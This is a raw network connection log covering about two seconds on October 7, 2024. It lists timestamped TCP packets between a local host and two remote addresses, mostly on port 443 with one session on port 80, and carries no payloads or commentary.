Oct 7, 2024 18:00:46.899913073 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.899924994 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.942368031 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.942831993 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.942857027 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.943284988 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.943291903 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.956147909 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.956513882 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.956521034 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.956944942 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.956949949 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.960257053 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.960319996 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.960486889 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.960529089 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.960545063 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.960576057 CEST	49878	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.960582018 CEST	443	49878	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.963407993 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.963443041 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:46.963512897 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.963681936 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:46.963691950 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.041723967 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.041815042 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.042030096 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.042088032 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.042098999 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.042109966 CEST	49879	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.042115927 CEST	443	49879	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.044989109 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.045027018 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.045115948 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.045248032 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.045257092 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.055696011 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.055757999 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.055927992 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.055952072 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.055952072 CEST	49880	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.055969000 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.055978060 CEST	443	49880	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.058079004 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.058103085 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.058166027 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.058283091 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.058296919 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.062047005 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.062446117 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.062469006 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.062880993 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.062885046 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.157562971 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.157645941 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.157740116 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.157850981 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.157984972 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.157999039 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.158009052 CEST	49881	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.158015013 CEST	443	49881	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.161027908 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.161051989 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.161279917 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.161387920 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.161401033 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.495245934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:47.495331049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:47.509804964 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.510734081 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.510767937 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.511200905 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.511208057 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.595443964 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.597444057 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.597453117 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.597944975 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.597949982 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.606278896 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.606617928 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.606726885 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.606920004 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.606940031 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.606951952 CEST	49882	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.606961012 CEST	443	49882	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.608026981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:47.609582901 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.609625101 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.609690905 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.609816074 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.609827042 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.613620996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:47.708431005 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.709876060 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.709899902 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.710345030 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.710350037 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.727863073 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.728404045 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.728425026 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.728887081 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.728893042 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.814172983 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.814769030 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.814785957 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.815160036 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.815164089 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.820933104 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.822017908 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.822082996 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.822138071 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.822154999 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.822165012 CEST	49884	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.822170973 CEST	443	49884	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.824889898 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.824912071 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.824980021 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.825145960 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.825155020 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.831454039 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.831480980 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.831527948 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.831633091 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.831677914 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.831677914 CEST	49885	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.831691980 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.831698895 CEST	443	49885	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.834100962 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.834122896 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.834240913 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.834398031 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.834410906 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.915497065 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.915590048 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.915647030 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.915828943 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.915842056 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.915849924 CEST	49883	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.915854931 CEST	443	49883	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.918785095 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.918802023 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.918874025 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.919089079 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.919104099 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.920258999 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.920331955 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.920417070 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.920423985 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.920452118 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.920500994 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.920525074 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.920532942 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.920622110 CEST	49886	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.920625925 CEST	443	49886	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.922369957 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.922396898 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:47.922467947 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.922589064 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:47.922599077 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.301702023 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.302211046 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.302221060 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.302660942 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.302665949 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.408725023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.408795118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.415987968 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.416018963 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.416063070 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.416091919 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.416127920 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.416508913 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.416531086 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.416539907 CEST	49887	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.416546106 CEST	443	49887	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.423337936 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.423378944 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.423450947 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.423630953 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.423645020 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.479794025 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.480303049 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.480315924 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.480818987 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.480829000 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.480946064 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.481242895 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.481252909 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.481612921 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.481617928 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.516670942 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.521615028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.565355062 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.565795898 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.565809965 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.566265106 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.566271067 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.572936058 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.573379040 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.573399067 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.573911905 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.573918104 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.579657078 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.579776049 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.579834938 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.579838037 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.579893112 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.580024004 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.580039024 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.580049038 CEST	49889	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.580058098 CEST	443	49889	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.583486080 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.583533049 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.583607912 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.583806038 CEST	49895	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.583818913 CEST	443	49895	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.604552984 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.604621887 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.604680061 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.604927063 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.604927063 CEST	49888	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.604933023 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.604940891 CEST	443	49888	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.607927084 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.607960939 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.608045101 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.608213902 CEST	49896	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.608228922 CEST	443	49896	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.696908951 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.696978092 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.697071075 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.697316885 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.697328091 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.697344065 CEST	49890	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.697350979 CEST	443	49890	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.700531006 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.700591087 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.700665951 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.700804949 CEST	49897	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.700819969 CEST	443	49897	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.702421904 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.702467918 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.702519894 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.702529907 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.702574015 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.702616930 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.702637911 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.702651024 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.702658892 CEST	49891	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.702665091 CEST	443	49891	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.704631090 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.704653978 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.704731941 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.704844952 CEST	49898	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:48.704857111 CEST	443	49898	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:48.720957994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.720988989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721008062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721023083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721039057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721048117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.721056938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721074104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721085072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.721124887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.721215963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721235037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721250057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721256018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.721266031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721281052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721291065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.721297026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.721322060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.721343040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826360941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826381922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826399088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826414108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826430082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826427937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826443911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826477051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826503992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826512098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826528072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826546907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826572895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826654911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826694012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826862097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826877117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826899052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826904058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826917887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826922894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826935053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826946020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826948881 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826957941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826965094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.826968908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826981068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.826982021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.827013016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.827193975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.827208042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.827217102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.827233076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.827265978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.827292919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.827343941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.827380896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.827527046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.827570915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925189018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925229073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925241947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925263882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925285101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925301075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925302029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925318956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925335884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925344944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925362110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925386906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925460100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925479889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925494909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925513983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:48.925520897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:48.925544024 CEST	49831	80	192.168.2.5	95.164.90.97
